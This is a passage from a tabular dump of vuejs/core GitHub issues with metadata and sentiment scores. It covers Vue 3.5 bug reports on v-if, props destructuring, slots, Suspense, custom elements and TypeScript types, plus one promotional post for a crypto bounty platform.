[play.vuejs.org/](https://play.vuejs.org/#eNp9VEtv2zAM/iuETimQ2tvaXVI32Nb10AFbhzRHA4MfdKJWlgRJdlIU+e+j5EedLutNfH/8SOqFfdU6ahtkC5bYwnDtwKJr9DKVALzWyjh4AYPVHBqLa6y1yByusIIDVEbVkDKKTtlVKn1EoaR14DKzQQfXb0JmKessKTsj/8G75ZbnAsmdysycadBbvb1qZOG4kmSoVYvrEDw7gxdvhL5M1GaiwahzmXWJD6lM4q4daoQE16MIbSUlb8Pj6EmCyHIUo0gKLnVDAM9rVaK4plY7qCkD96yRFMUWi6dc7UkTTwIftmoHHdwxeTzNnsQTDHnjHDX5pRC8eKKk025TtlwFsU+XxJ33BD/h49UROOKR5IFrsO5ZeLA6K0suNwv4+EHvryDPiqeNUY0szwsllFlQXHlFBY/A6eVdBZkEFFijdLDjbgtZqAk5lz4hcNtPqOx2wm0RSlU0PmBOwWXQhBBy9XMw4NRmI7D0ZkBjlPEmtzVqJ6Mk7vYvlF+hNqpsClxM1Op1TIngy3VIBqqqaB+n5NOgFC00UubMD7JDMOwVYaex8JOp5NtM/3je+HGR19F8uoodG6Hr/hYG+kZ+vt///G/tE214EqVyvMCerRw98yNhY6Yk7rkZppjEk+Vnc+YsnV3FN9GjVZLOPhwTbbKqNRdo7rVnxqZsMZxZyjIh1O5H0PnznA/6sP0n9I+WDmJBj98GLZqWdnK0DVvpzbcPv3BP79FId9b4DX7HuEKrROMxdm7faH8J9sQvoL0LXxdRtLa3e4fSDk15oOGLCP7h97p5p/VXuBfRZf+1HIjFPy0an5MIvIg+R58u2eEv5+e9DQ==)







### Steps to reproduce
- click ""Remove Target"" to remove the target element (which has a v-if directive on it)
- toggle ""Show Target"" to trigger the v-if directive's hide behavior
- note the error that is thrown ""Cannot read properties of null (reading 'insertBefore')""

### What is expected?
Toggling a v-if for an unbound element should be a no-op. Nothing should change.

### What is actually happening?
An uncaught error is being thrown, which can break other parts of a complex application.

---
This bug was encountered when interacting with other custom direct... [TRUNCATED]",,2025-11-16 18:23:30+00:00,2025-11-16 22:41:06+00:00,4,nan,0.1789,v if throws an error if toggled off after the element has been removed from the dom through other means version play vuejs org click remove target to remove the target element which has a v if directive on it toggle show target to trigger the v if directive s hide behavior note the error that is thrown cannot read properties of null reading insertbefore what is expected toggling a v if for an unbound element should be a no op nothing should change what is actually happening an uncaught error is being thrown which can break other parts of a complex application this bug was encountered when interacting with other custom direct truncated,bug,-0.9186
vuejs/core,3622416585,"Reactive Props Destructure | Typescript | Boolean Optional Default True - Doesn't work, still showing false","### Vue version

3.5.24

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kstOwzAQRX9l5A2thBKem5IWAWIBEg8BS0sopJM04NiWH6Uoyr8ztiGAhLpJ4jt3JsfX7tmZ1tnaI5uxwlam1Q4sOq9BlLKZc+YsZwsu204r46AHJW+Ulw6XMEBtVAc71LxzwiV5SDZ1WSHcG6Ut9FwCdB/nSonTGbzQC0tJziDe+o406bsXNCQNob9S0jrQsXcOS6xbiXFSEZ+LyTT+Jtn6r8nkdMbjbppJq/29PUKbpzmxYUSeTKYwXySuMIWAMqGaSZo0PYE8B7tS7xbqUlgkrCmXRZ5ioRBo4bDTonRIK4Bitb/oR5BhKHIS/hQC0qgX+a9utkvREkTdNtmrVZLyj1ycVarTrUBzp11LkJzNEnGolUKo9+uoxV1/69UKq7d/9Fe7CRpn9wYtmjVyNtZcaRp0qXz5eIsb+h6LnVp6Qe4txQekAH1gTLZzL5eE/csXaa/izWll82QvNw6l/d5UAA3OIfo5o3t0sWXrP7iH2VHso/OhFJ/XaMJMCvAwO84OjtjwCbmX8is=

### Steps to reproduce

Child.vue
```
<script setup lang=""ts"">
import { onMounted } from 'vue';

interface Props {
  myBool?: boolean;
}

const props = defineProps<Props>();

const { myBool = true } = props;

onMounted(() => {
  console.log(myBool); // shows false
})
</script>
```


Parent.vue
```
<template>
  <Child/>
</template>

<script setup lang=""ts"">
import Child from ""./Child.vue"";
```

### What is expected?

Inside the onMounted hook, myBool should be true

### What is actually happening?

Inside the onMounted hook, myBool is false

### System Info

```shell

```

### Any additional comments?

With typescript, this way of providing default value is nice: `const { myBool = true } = props;`.  But for optional boolean that I want to default to true, this way of providing default value doesn't work.  Do we really need to fallback to `withDefaults` and do something li... [TRUNCATED]",,2025-11-13 18:55:57+00:00,2025-11-13 19:36:21+00:00,1,nan,0.0281,reactive props destructure typescript boolean optional default true doesn t work still showing false vue version link to child vue parent vue what is expected inside the onmounted hook mybool should be true what is actually happening inside the onmounted hook mybool is false system info any additional comments with typescript this way of providing default value is nice but for optional boolean that i want to default to true this way of providing default value doesn t work do we really need to fallback to and do something li truncated,others,0.9127
vuejs/core,3619302157,InputHTMLAttributes 的 enterKeyHint属性大小写问题,"### Vue version

latest

### Link to minimal reproduction

https://github.com/vuejs/core/blob/e9c676ff2b64724ad74f017bd280d623e8d72e6b/packages/runtime-dom/src/jsx.ts#L550-L551

### Steps to reproduce

https://github.com/vuejs/core/blob/e9c676ff2b64724ad74f017bd280d623e8d72e6b/packages/runtime-dom/src/jsx.ts#L550-L551

为什么这里enterKeyHint的""K""和""H""是大写的，input实际需要的是enterkeyhint
@buqiyuan 

<img width=""827"" height=""240"" alt=""Image"" src=""https://github.com/user-attachments/assets/83f81f30-cfb6-4a8a-b5bd-318faec1824e"" />

https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Global_attributes/enterkeyhint


### What is expected?

null

### What is actually happening?

null

### System Info

```shell

```

### Any additional comments?

_No response_",scope: types,2025-11-13 04:01:25+00:00,2025-11-18 00:33:46+00:00,1,scope: types,4.8558,inputhtmlattributes enterkeyhint vue version latest link to enterkeyhint k h input enterkeyhint buqiyuan what is expected null what is actually happening null system info any additional comments no response,others,-0.296
vuejs/core,3619054082,Slot limitations,"### Vue version

3.5.22

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-3hpyzzaf?file=src%2Fcomponents%2FDrawer%2Findex.vue,src%2FApp.vue,src%2Fmain.ts&terminal=dev

### Steps to reproduce

<template>
  <div
    :class=""{
      'v-dialog': 'v-dialog',
      open: open,
    }""
    ref=""dialog""
  >
    <div class=""v-dialog-mask""></div>
    <div class=""v-dialog-content"">
      <slot>
        <div class=""v-dialog-header"">
          <slot name=""header"">
            <button @click=""(ev) => emits('cancel', ev)"">close</button>
          </slot>
        </div>
        <div class=""v-dialog-body""></div>
        <div class=""v-dialog-footer"">
          <slot name=""footer""></slot>
        </div>
      </slot>
    </div>
  </div>
</template>
<script setup lang=""ts"">
import { disabledTabEvent } from '@/utils'
import { onMounted, onUnmounted, useTemplateRef, watchEffect } from 'vue'

interface DialogProps {
  open?: boolean
}

interface DialogEmits {
  (name: 'cancel', ev: MouseEvent): void
}

defineOptions({
  name: 'VDialog',
})
const emits = defineEmits<DialogEmits>()
const props = defineProps<DialogProps>()
// ref
const dialogRef = useTemplateRef('dialog')
onMounted(() => {
  window.addEventListener('keydown', disabledTabEvent)
})
onUnmounted(() => {
  window.removeEventListener('keydown', disabledTabEvent)
})

watchEffect(() => {
  if (props.open) {
    window.addEventListener('keydown', disabledTabEvent)
  } else {
    window.removeEventListener('keydown', dis... [TRUNCATED]",,2025-11-13 02:20:53+00:00,2025-11-13 04:01:53+00:00,0,nan,0.0701,slot limitations vue version link to div class v dialog v dialog open open ref dialog emits cancel ev close import disabledtabevent from utils import onmounted onunmounted usetemplateref watcheffect from vue interface dialogprops open boolean interface dialogemits name cancel ev mouseevent void defineoptions name vdialog const emits defineemits const props defineprops ref const dialogref usetemplateref dialog onmounted window addeventlistener keydown disabledtabevent onunmounted window removeeventlistener keydown disabledtabevent watcheffect if props open window addeventlistener keydown disabledtabevent else window removeeventlistener keydown dis truncated,others,-0.4588
vuejs/core,3619053142,Slot limitations,"### Vue version

3.5.22

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-3hpyzzaf?file=src%2Fcomponents%2FDrawer%2Findex.vue,src%2FApp.vue,src%2Fmain.ts&terminal=dev

### Steps to reproduce

<template>
  <div
    :class=""{
      'v-dialog': 'v-dialog',
      open: open,
    }""
    ref=""dialog""
  >
    <div class=""v-dialog-mask""></div>
    <div class=""v-dialog-content"">
      <slot>
        <div class=""v-dialog-header"">
          <slot name=""header"">
            <button @click=""(ev) => emits('cancel', ev)"">close</button>
          </slot>
        </div>
        <div class=""v-dialog-body""></div>
        <div class=""v-dialog-footer"">
          <slot name=""footer""></slot>
        </div>
      </slot>
    </div>
  </div>
</template>
<script setup lang=""ts"">
import { disabledTabEvent } from '@/utils'
import { onMounted, onUnmounted, useTemplateRef, watchEffect } from 'vue'

interface DialogProps {
  open?: boolean
}

interface DialogEmits {
  (name: 'cancel', ev: MouseEvent): void
}

defineOptions({
  name: 'VDialog',
})
const emits = defineEmits<DialogEmits>()
const props = defineProps<DialogProps>()
// ref
const dialogRef = useTemplateRef('dialog')
onMounted(() => {
  window.addEventListener('keydown', disabledTabEvent)
})
onUnmounted(() => {
  window.removeEventListener('keydown', disabledTabEvent)
})

watchEffect(() => {
  if (props.open) {
    window.addEventListener('keydown', disabledTabEvent)
  } else {
    window.removeEventListener('keydown', dis... [TRUNCATED]",,2025-11-13 02:20:31+00:00,2025-11-13 04:01:35+00:00,1,nan,0.0702,slot limitations vue version link to div class v dialog v dialog open open ref dialog emits cancel ev close import disabledtabevent from utils import onmounted onunmounted usetemplateref watcheffect from vue interface dialogprops open boolean interface dialogemits name cancel ev mouseevent void defineoptions name vdialog const emits defineemits const props defineprops ref const dialogref usetemplateref dialog onmounted window addeventlistener keydown disabledtabevent onunmounted window removeeventlistener keydown disabledtabevent watcheffect if props open window addeventlistener keydown disabledtabevent else window removeeventlistener keydown dis truncated,others,-0.4588
vuejs/core,3619051555,"When I was writing another drawer component, I encountered a problem: slots have limitations","### Vue version

3.5.22

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-3hpyzzaf?file=src%2Fcomponents%2FDrawer%2Findex.vue,src%2FApp.vue,src%2Fmain.ts&terminal=dev

### Steps to reproduce

<template>
  <div
    :class=""{
      'v-dialog': 'v-dialog',
      open: open,
    }""
    ref=""dialog""
  >
    <div class=""v-dialog-mask""></div>
    <div class=""v-dialog-content"">
      <slot>
        <div class=""v-dialog-header"">
          <slot name=""header"">
            <button @click=""(ev) => emits('cancel', ev)"">close</button>
          </slot>
        </div>
        <div class=""v-dialog-body""></div>
        <div class=""v-dialog-footer"">
          <slot name=""footer""></slot>
        </div>
      </slot>
    </div>
  </div>
</template>
<script setup lang=""ts"">
import { disabledTabEvent } from '@/utils'
import { onMounted, onUnmounted, useTemplateRef, watchEffect } from 'vue'

interface DialogProps {
  open?: boolean
}

interface DialogEmits {
  (name: 'cancel', ev: MouseEvent): void
}

defineOptions({
  name: 'VDialog',
})
const emits = defineEmits<DialogEmits>()
const props = defineProps<DialogProps>()
// ref
const dialogRef = useTemplateRef('dialog')
onMounted(() => {
  window.addEventListener('keydown', disabledTabEvent)
})
onUnmounted(() => {
  window.removeEventListener('keydown', disabledTabEvent)
})

watchEffect(() => {
  if (props.open) {
    window.addEventListener('keydown', disabledTabEvent)
  } else {
    window.removeEventListener('keydown', dis... [TRUNCATED]",,2025-11-13 02:19:52+00:00,2025-11-13 04:01:09+00:00,2,nan,0.0703,when i was writing another drawer component i encountered a problem slots have limitations vue version link to div class v dialog v dialog open open ref dialog emits cancel ev close import disabledtabevent from utils import onmounted onunmounted usetemplateref watcheffect from vue interface dialogprops open boolean interface dialogemits name cancel ev mouseevent void defineoptions name vdialog const emits defineemits const props defineprops ref const dialogref usetemplateref dialog onmounted window addeventlistener keydown disabledtabevent onunmounted window removeeventlistener keydown disabledtabevent watcheffect if props open window addeventlistener keydown disabledtabevent else window removeeventlistener keydown dis truncated,bug,-0.6908
vuejs/core,3615670061,`useTemplateRef` does not work as expected with lists in tsx components,"### Vue version

3.5.24

### Link to minimal reproduction

https://play.vuejs.org/#eNq9VN9vmzAQ/lc8XkI0RB62pw6YsinSNmk/1FbaQ6kmCpeU1tiWbbJUiP99ZxsIoazq9tBIEfjuvrvv7j7ceGshwn0N3pkXqVyWQhMFuhZJyspKcKlJQyRsSUu2kldkgaGLwfWRV6KzhytzCLU6oDtlOWdKk0rtSGzg/uITUMrJTy5p8WqxTFm0ctWwDh40VIJmGvBESGQyJZFNiIZoNfJ6gacVJt+Wu/BOcYa0G4NJvRyjSwryu9AlFk+9M2I9xpdh7d9frE3LGoLent9Cfj9jv1MHY0u9HxIUyD2k3uDTmdyBdu7NxTc44PvgrHhRU4x+wnkOitPacHRhH2pWIO1RnGX72U64ZLtLtTloYKpvyhA1ka2NTz1ciBnU31o/0n0TvrW4lLU4xX5bOMB+zwVsS2aTcQZMB4Szr7xmGoqA1Aouuy2cwzbAlXaCsARS710qcZH41w8CyHq9OQiOEHOIkQw6DB1kcllqCmfEX5I4IUpL7NB42x7vhLNeI2zCxx/SCMmFMj12Z/PTLu/FkNEYcUbdm9W0b4EBacCya5enKZz1WKb/LXrai563zRPakuPgdjk+SSwpWYfwI1omzQjXRiu0DADbv8Obv6GCK8EJZDW1z/lJuLYmfbgRFpnOcIhXqCfUFu7pxj3y1Lt+HJ1luFYMP91zNF7k1XXiYzLMdtJmh795Lh5pzOEzO+H+tsAbYqbEEyGDVH0370dLtATDfUZreB9uudxk+a1f4s0SJ49i+5qcQkj5zoaFvQj85UnhY37rdRXI65hMQFPMqVZsBrOCOYaz/fwXRzfkf+T4bIUX5T6ZppjlbaQZVpnwLeuAlKyAg02CgiH38BA31tS6rxpPGNaatcdOgGR1/HIGalOD5dO1jJfFSfP49b0QW5S7ef2FC40bc3e3z+fuJGW4j8U1w91ZppeJ1/4BR7ht4Q==

### Steps to reproduce

1. open repo
2. you can see errors `Cannot read properties of undefined (reading 'call')`

### What is expected?

useTemplateRef  returns an array of component's expose instance when use array.map() in tsx component

### What is actually happening?

i don't konw is ok or not.
in my case , `data.map((item, index) => <AA key={index} title={item} ref=""aa"" ref_for={true}/>)` works fine . 
but when remove ref_for={true} , it throws errors , useTemp... [TRUNCATED]",,2025-11-12 09:17:34+00:00,2025-11-12 12:54:16+00:00,1,nan,0.1505,does not work as expected with lists in tsx components vue version link to open repo you can see errors what is expected usetemplateref returns an array of component s expose instance when use array map in tsx component what is actually happening i don t konw is ok or not in my case works fine but when remove ref for true it throws errors usetemp truncated,others,0.1531
vuejs/core,3615643703,Component styles are added to `<head>` even when it is not used,"### Vue version

3.5.24

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-cvhzveij?file=src%2Fcomponents%2FFactoryComponent.vue,src%2Fcomponents%2FSomeComponent.vue,src%2FApp.vue&terminal=dev

### Steps to reproduce

There is a `.vue` file, which exports a factory function for a component. When the function is imported in another SFC file and used to define a new instance of the component, the styles from the SFC file where the factory is defined get injected into `<head>` too.

```vue
<!--  app.vue  -->
<template>
  <SomeComponent />
</template>
```

```vue
<!--  SomeComponent.vue  -->
<script>
import { defineSomeComponent } from './FactoryComponent.vue';

export default defineSomeComponent();
</script>

<style>
.component-class {
  background-color: red;
}
</style>
```

```vue
<!--  FactoryComponent.vue  -->
<script>
import { defineComponent, h } from 'vue';

export function defineSomeComponent() {
  return defineComponent(() => {
    return () => h('div', { class: 'component-class' }, 'SomeComponent');
  });
}

export default defineSomeComponent();
</script>

<style>
// this is not used, should not be injected into the <head>
.component-class {
  background-color: blue;
}
</style>
```

### What is expected?

The styles from `FactoryComponent.vue` should not be injected into the `<head>`.

### What is actually happening?

<img width=""1142"" height=""267"" alt=""Image"" src=""https://github.com/user-attachments/assets/319d8393-21d1-4f47-9ec6-29efdc3ff206"" ... [TRUNCATED]",,2025-11-12 09:10:07+00:00,2025-11-12 13:08:23+00:00,3,nan,0.1655,component styles are added to even when it is not used vue version link to there is a file which exports a factory function for a component when the function is imported in another sfc file and used to define a new instance of the component the styles from the sfc file where the factory is defined get injected into too what is expected the styles from should not be injected into the what is actually happening img width height alt image src truncated,others,0.0
vuejs/core,3615364043,💡 Platform Suggestion: Bounty System for Vue.js Framework,"Hi Vue.js Framework team! 👋

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2. Fund pool with USDC (stable pricing)
3. Assign bounties to features/bugs
4. PR merged → automatic payment

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- Access to active developer network
- **Only 1% total platform fee**
- Transparent blockchain payments

Learn more: **https://roxonn.com**

*No pressure - just sharing a resource!*",,2025-11-12 07:40:49+00:00,2025-11-12 12:55:22+00:00,0,nan,0.2184,platform suggestion bounty system for vue js framework hi vue js framework team i wanted to share roxonn a decentralized bounty platform that could help accelerate development what is roxonn turn github issues into crypto bounties xdc usdc roxn notify developers instantly auto pay when prs merge via blockchain zero crypto setup needed quick flow register repo github app install fund pool with usdc stable pricing assign bounties to features bugs pr merged automatic payment why teams use it access to active developer network only total platform fee transparent blockchain payments learn more no pressure just sharing a resource,others,0.7923
vuejs/core,3615125398,Combining shallowReadonly and ref results in incorrect TypeScript types.,"### Vue version

3.5.24

### Link to minimal reproduction

https://play.vuejs.org/#eNqlVM1u2kAQfpWpLzZSZNKQ9EAcS2mVQ3toKxr1EqfVBo/Bqb272l0TEOLdO7uLjUMRtCoXvPP7zTc/6+BWynjRYDAOEj1VpTSg0TQSKsZnN1lgdBakGS9rKZSBNSgszkDPWVWJlwmyXPBqBRsolKghpDhhZ2tWEslhgsWePuNONREvGm7gVim2SiaUU/F7kidWKQqYKmQGyShNrzM+FVwbUN6FMCTWO40eHgekBGgNOieyigZwk0Jk1Xt4nQwgWvt/gEKo+jurGhzb2FEWsKdpjlkwOPMWG/8xsMkyblHEC2sOmplSFyVqVw1ph0MfkX4/3MuWBKHlbctVIcQYtFEln133pR2CVrd5eAwhFxSbC2qKy7QCM0fApcSpwdxTHNrUYbzN/R/5Qih9LqZ1OePsqUIwok2y9UzWryP2AlGnEy+mCXH/KUVNO2genAZqrlRCojIrCDv/EJhCKKmRtaRaKfnOry3LRz2B8w8QYWx09Hb07nxgu+cHheV5f0rcJOz6GstGz6NumCLXeIBec9sOO+GtmjU1cmMrO8DWSYIO1yOZYjUaVLuwr9p6oIHE2BblPzPdVeeZPkTjMdq3nbFMX4wur4jpjdsVz3O0vzgP549v4g5Qf426vHbr9wk/uFvtUPzVqpyajmTojyCdPHoYrGVFM0CvZNh7BGd0F2mQinIWP2vB6Xi6CcoCy2lZofoiTUmDlgVjP1tW527QJyczqsHtbSGfOU5/HZA/66WVZcFXhRrVgg5SpzNMzdB49d23z7ik705Zi7ypyPqIcoJaVI3F6M3eNzwn2D07h/ajO+VE072+Wxrkui3KArWWG2efBXTZPxwpfQd3FF86PxoQYvHnApWNSQSO4qv44jLY/AbSjy+a

### Steps to reproduce

1. Open repro
2. You can see that three TypeScript type errors have occurred

### What is expected?

TypeScript type errors do not occur. The type in TypeScript matches the runtime type.

### What is actually happening?

The type of Ref in the typescript is incorrect. type errors occurs.

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-11-12 06:15:10+00:00,2025-11-12 13:13:00+00:00,2,nan,0.2902,combining shallowreadonly and ref results in incorrect typescript types vue version link to open repro you can see that three typescript type errors have occurred what is expected typescript type errors do not occur the type in typescript matches the runtime type what is actually happening the type of ref in the typescript is incorrect type errors occurs system info any additional comments no response,others,-0.8126
vuejs/core,3615097704,[Suspense] Cannot read properties of null,"### Vue version

3.5.23

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-bslibwhw?file=package.json,src%2FApp.vue,src%2Fmain.js&terminal=dev

### Steps to reproduce

Change the Vue version to 3.5.23

<img width=""458"" height=""140"" alt=""Image"" src=""https://github.com/user-attachments/assets/b68c8e84-6184-4d9e-bbd5-fc5726290b6f"" />

### What is expected?

no error

### What is actually happening?

<img width=""591"" height=""130"" alt=""Image"" src=""https://github.com/user-attachments/assets/2411311c-a9ef-465c-a9a0-93870f0ee7a1"" />
It is caused by el being null.

### System Info

```shell

```

### Any additional comments?

_No response_","scope: suspense,:hammer: p3-minor-bug",2025-11-12 06:07:14+00:00,2025-11-24 07:20:46+00:00,2,"scope: suspense,:hammer: p3-minor-bug",12.0511,suspense cannot read properties of null vue version link to change the vue version to what is expected no error what is actually happening it is caused by el being null system info any additional comments no response,bug,-0.7506
vuejs/core,3605399843,Component update fails when using custom elements/web component that bundles an older Vue version,"### Vue version

3.5.23

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-vtxciu5w?file=vue-3.5.24-app%2Fpackage.json

### Steps to reproduce

- Open the provided link
- Run `npm --prefix ./vue-3.5.22-web-component install && npm --prefix ./vue-3.5.22-web-component run build`
  - This bundles a custom elements libary under `vue-3.5.22-web-component/dist/index.js`
- Run `npm --prefix ./vue-3.5.24-app install && npm --prefix ./vue-3.5.24-app run dev`
  - It uses `<my-foo>` from the custom elements libary 
- Open the browser's developer tools
- In the preview, change the value in the input field


### What is expected?

After changing the value in the input field, the text below should be updated.

### What is actually happening?

The text is not updated, and the following error is reported:

```
Uncaught (in promise) TypeError: customElement._endPatch is not a function
    VueJS 10
        processElement
        patch
        patchBlockChildren
        processFragment
        patch
        componentUpdateFn
        run
        runIfDirty
        callWithErrorHandling
        flushJobs
vue.js:7039:25
```

### System Info

```shell

```

### Any additional comments?

This issue occurs when using a custom element within an application under the following circumstances:

- the custom element
  - is build with Vue 
  - uses version before `v3.5.23`
  - **bundles** Vue
- the Vue application uses the version `v3.5.23` or higher

It seems to have been introduce... [TRUNCATED]",,2025-11-09 19:37:23+00:00,2025-11-10 01:15:19+00:00,2,nan,0.2347,component update fails when using custom elements web component that bundles an older vue version vue version link to open the provided link run this bundles a custom elements libary under run it uses from the custom elements libary open the browser s developer tools in the preview change the value in the input field what is expected after changing the value in the input field the text below should be updated what is actually happening the text is not updated and the following error is reported system info any additional comments this issue occurs when using a custom element within an application under the following circumstances the custom element is build with vue uses version before bundles vue the vue application uses the version or higher it seems to have been introduce truncated,others,-0.25
vuejs/core,3594272038,Regression in 3.5.23: fails to parse ! in typescript,"### Vue version

3.5.23

### Link to minimal reproduction

https://github.com/cyberalien/vue-3-5-23-bug

### Steps to reproduce

Run `npm run build`

### What is expected?

Expected to to compile

### What is actually happening?

```
error during build:
[vite:esbuild] Transform failed with 1 error:
/bug-test/src/App.vue?vue&type=script&setup=true&lang.ts:22:2: ERROR: Expected ""]"" but found ""}""
file: /bug-test/src/App.vue?vue&type=script&setup=true&lang.ts:22:2

Expected ""]"" but found ""}""
20 |    return (_openBlock(), _createElementBlock(""p"", {
21 |      ""data-foo"": data[key.value
22 |    }, ""Test"", 8, _hoisted_1))
   |    ^
23 |  }
24 |  }

    at failureErrorWithLog (/bug-test/node_modules/esbuild/lib/main.js:1467:15)
    at /bug-test/node_modules/esbuild/lib/main.js:736:50
    at responseCallbacks.<computed> (/bug-test/node_modules/esbuild/lib/main.js:603:9)
    at handleIncomingPacket (/bug-test/node_modules/esbuild/lib/main.js:658:12)
    at Socket.readFromStdout (/bug-test/node_modules/esbuild/lib/main.js:581:7)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at Pipe.onStreamRead (node:internal/stream_base_commons:189:23)
ERROR: ""build-only"" exited with 1.
```

### System Info

```shell
System:
    OS: macOS 26.1
    CPU: (10) arm64 Apple M5
    Memory: 640.25 MB / 24.00 GB
    Shell: 5.... [TRUNCATED]",":exclamation: p4-important,regression",2025-11-06 06:15:37+00:00,2025-11-07 00:52:08+00:00,11,":exclamation: p4-important,regression",0.7754,regression in fails to parse in typescript vue version link to run what is expected expected to to compile what is actually happening system info shell system os macos cpu arm apple m memory mb gb shell truncated,bug,-0.4215
vuejs/core,3589547798,"TypeScript enables strict mode, and the interface includes an optional `never` type; `defineProps` returns the `never` type.","### Vue version

3.5.22

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uk1v1DAQ/SuDL1ukkhVdemBJFwFqRTlABYheLKE0mWTdOrZlj7crRfnvHTv92KrVXiz5zZvnec8ziC/OFZuIYinKUHvlCAJSdKAr051IQUGKlTSqd9YTDOCxhRFab3uYcdtMGi4aQt9WNcKlorWNdFY1eMaUC29dgEEagPYeOjcNbj8vweAGvTTj8/6pAbeEpgl71CoWiP1VVviUJGprAoHLjBNosFUGM7/M5+rg7ROrDx1z2MjB7DtqbeHSet28mTGlnE8ZsGO+EPZOV4R8AyjX71fDMD1RPHMD41jOuZpZyrhIsHnX2wY158ePSQFzLpbzHT1xyMnyOK3qiutgDcefjUlR294pjf6XI8XjSrGcLKdaxdPe/sgY+YiHD3i9xvrmFfw6bBMmxYXHgH6DUjzWAnlV04sWqnyHGZbi9M9P/oqdHjYVNYvsKf7GYHVMo0+0r9E07GaHl02c531SpvsbTtNvhwevaZjEHDNfCt6xb3sSeRp3UXzIfbwRHO5/3q6kybkuiuPi6ChhFP49osfFx2IhxjsJbANb

### Steps to reproduce

-

### What is expected?

<img width=""1295"" height=""839"" alt=""Image"" src=""https://github.com/user-attachments/assets/1473ac80-6ba8-4ec5-b720-2669cfa5c745"" />

### What is actually happening?

<img width=""1934"" height=""876"" alt=""Image"" src=""https://github.com/user-attachments/assets/dbea5182-721d-4373-b6ba-0b5d9608d74c"" />

<img width=""1299"" height=""1146"" alt=""Image"" src=""https://github.com/user-attachments/assets/c21e9caf-6afe-44c0-9aa3-73a18cd21758"" />

### System Info

```shell
System:
    OS: Windows 10 10.0.19044
    CPU: (20) x64 Intel(R) Xeon(R) CPU E5-2666 v3 @ 2.90GHz
    Memory: 9.39 GB / 31.84 GB
  Binaries:
    Node: 23.11.1 - C:\nvm4w\nodejs\node.EXE
    npm: 10.9.2 - C:\nvm4w\nodejs\npm.CMD
    pnpm: 10.19.0 - C:\nvm4w\nodejs\pnpm.CMD
  Browsers:
    Chrome: 141.0.7390.108
    Edge: Chromium (141.0.3537.92)
    Int... [TRUNCATED]",scope: types,2025-11-05 06:35:18+00:00,2025-12-18 08:30:08+00:00,1,scope: types,43.0797,typescript enables strict mode and the interface includes an optional type returns the type vue version link to what is expected what is actually happening system info shell system os windows cpu x intel r xeon r cpu e v ghz memory gb gb binaries node c nvm w nodejs node exe npm c nvm w nodejs npm cmd pnpm c nvm w nodejs pnpm cmd browsers chrome edge chromium int truncated,others,0.0
vuejs/core,3585007663,defineModel的响应式丢失,"### Vue version

3.5.13

### Link to minimal reproduction

引用类型例子：https://play.vuejs.org/#eNqFUs1u00AQfpXVXpKqxRaKuEROBFQ9FAmIgFu2Qq49Sdyu19b+mEiWHwAhxIFyQ0j8HLhwKKcI+ji4fQ1md5M0lar0tjvzzTffzHw1fVSWQWWA9mmkEpmVmijQphwykeVlITXZn2U8JRNZ5KQThO5nCzprQE0kTEizhPgUE0khlCZJYYR+WqTAycDCumNhOD/aYSIKfTtshB8NecljDfgjJPItq3u5LRwwes3CKMnVFEOXn98u8+3Fp6uzn1fnf9sv79qP79s/Z+3Fh8tf39vFgtFwk3BV+vvrHdX/Ft/aH+e+Ogo3tNE9qhVONsmmwYkqBG6ttg2sxLzMOMjnpc5wckb7xGVsLua8ePPExbQ0sLeKJzNITm+Jn6i5jTE6kqBAVsDoOqdjOQXt0wcvn8Ec3+skTmQ4orckX4AquLEaPeyxESnK3sA5tYfutJmYvlIHcw1CrYayQi2ycXhG8dz7W0a/ltsLeq6OiQa3uLbRLb7zznHXQdOkMMkEuON3a/zEhus+6e6QwZCMjxp0kkeMZFGq7riDN+5YfzExMSKxiogpUzwfljhZjjioYm4g4CCmera7i6K2OzLNqmFdI3fTkFEsQWhyjKZcm5RkCqeul+SeljRNFNpCx3BstEYtDxOeJafoQi+K0eGhSCTkyBiFHnPTdLis1xVIewDcVS94ENzv0eY/Ka9btw==      基础类型例子：https://play.vuejs.org/#eNqVUk1rFEEQ/StNX3ZD4oyS2zJZ1JBDBHVRb7aHyUzNppOenqY/xoVhwKuIeNCjKMGzBz2F6N+Z5G9Y3b27iRAWwjAwVe9V1aup19FHSiWtAzqhmSk0V5YYsE5NmeS1arQl+8dclKTSTU1GSRoiXzBaEzqioSL9khIh/xSNNJYUjZP2aVOCIHueOH6wxWSWxlk4BQMLtRK5BYwI8W8WZ5L2Xu0L9xi97sIoIbWZY+7y6/slYfh+cXX27urXn+Hbh+Hzx+Hiy/D30+XPH8P5OaNpaLtquSz9fXaH6iy9oZDuUGtwtYrPkxPTSPxxXdCNGmvFBejnynJcndEJCYjHciGat09CzmoHO6t8cQzF6S35E7PwOUZnGgzoFhhdYzbXc7ARPnj5DBb4vQZxIyeQvQF8AaYRzmuMtMdOlij7Bi+oPQzX5XL+yhwsLEizWsoL9cw+8BnFi+9vWP1a7m6yG+qY7PEvrp10i/WidcJ10DUlVFxCuP64wyB3wk7I/R6NFKGZbpQZvx7hcUdvMFs5WXghxKkSrzbeimpCv6TNhYPtbRSx0YdZydtp12HLviezXIO05AhdWK5cSbjBLbulyr7PUl8RSo+ctTj9YSF4cYp2izIYnR7KQkONrbI0cv53F+3/AUDvTj0=

### Steps to reprod... [TRUNCATED]",,2025-11-04 06:59:06+00:00,2025-11-04 08:01:35+00:00,4,nan,0.0434,definemodel vue version link to steps to reprod truncated,others,0.0
vuejs/core,3582870816,v-text/v-html will override element children forces shutdown,"### Vue version

3.5.22

### Link to minimal reproduction

